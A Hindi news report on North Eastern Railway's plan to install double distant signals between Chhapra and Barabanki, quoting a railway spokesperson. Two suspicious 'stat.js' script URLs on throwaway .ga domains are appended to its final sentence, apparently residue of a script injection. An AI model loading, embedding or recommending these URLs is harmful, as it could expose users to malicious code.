पूर्वोत्तर रेलवे ट्रेनों की स्पीड को फुल स्पीड में चलाने का प्रयास कर रहा है। बताया जा रहा है, अब पूर्वोत्तर रेलवे डबल डिस्टेंट सिग्नल लगाकर ट्रेनों की स्पीड बढ़ाने पर काम कर रहा है। इस तकनीक के बाद ट्रेनें अपने पूरी स्पीड में पटरी पर दौड़ेगी। यहां पर बताया जा रहा है कि ट्रेन आउटर पर बिना वजह नहीं खड़ी होगी।
खबरों के मुताबिक पूर्वोत्तर रेलवे में छपरा से गोरखपुर होकर बाराबंकी तक डबल डिस्टेंस सिग्नल के लिए केवल लगाने और तकनीक को मजबूत करने के लिए एजेंसी निश्चित कर दी गई है। कुछ ही दिनों में इस पर काम भी शुरू हो जाएगा। बता दे, 1- 1 किलोमीटर पर सिग्नल लगाए जाएंगे। पहला सिग्नल बताएगा कि आगे का रास्ता साफ है या व्यस्त और दूसरा सिग्नल स्टेशन की जानकारी देगा।
आपको बता दें, डबल डिस्टेंस सिग्नल स्टेशन यार्ड के बाहर लगा होगा। इसमें पीली और लाल दो बत्ती आऊंगी। यह सिग्नल लोको पायलट को ट्रेन की रफ्तार नियंत्रित करने के लिए संकेत देगा। हरी लाइट का मतलब होगा कि ट्रेन उसी रफ्तार से स्टेशन पर जा सकती है। वहीं पीली लाइट का मतलब होगा कि लोको पायलट ट्रेन की रफ्तार को नियंत्रित कर ले। रेलवे के अनुसार इससे ट्रेन के बिना वजह आउटर पर खड़े रहने की समस्या से भी छुटकारा मिलेगा।
पूर्वोत्तर रेलवे के मुख्य जनसंपर्क अधिकारी पंकज कुमार सिंह ने बताया कि छपरा से बाराबंकी तक डबल डिस्टेंट सिग्नल लगाने के लिए बजट मंजूर है। कार्यदायी एजेंसियां तय कर दी गई हैं। संरक्षा की दृष्टि से यह बहुत महत्वपूर्ण साबित होगा। ट्रेनों की स्पीड बढ़ जाएगी, जिससे समय पालन में भी सुधार होगा|https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms